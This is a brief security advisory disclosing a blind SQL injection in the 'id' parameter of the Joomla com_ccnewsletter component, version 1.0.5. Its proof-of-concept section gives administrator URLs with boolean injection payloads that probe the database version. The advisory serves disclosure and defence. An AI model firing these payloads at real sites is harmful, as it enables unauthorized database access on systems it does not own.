[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (com_ccnewsletter) BLIND SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

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[~]>> DESCRIPTION: Input var id is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.0.5 but probably other versions also
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT:

[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=[SQL]

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=2+AND+5=substring(@@version,1,1)
[~]>> http://[SERVER]/[JOOMLA_PATH]/administrator/index.php?option=com_ccnewsletter&controller=sendNewsletter&task=ccsend_all_first&id=2+AND+4=substring(@@version,1,1)

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[~]>> ...[END ADVISORY]...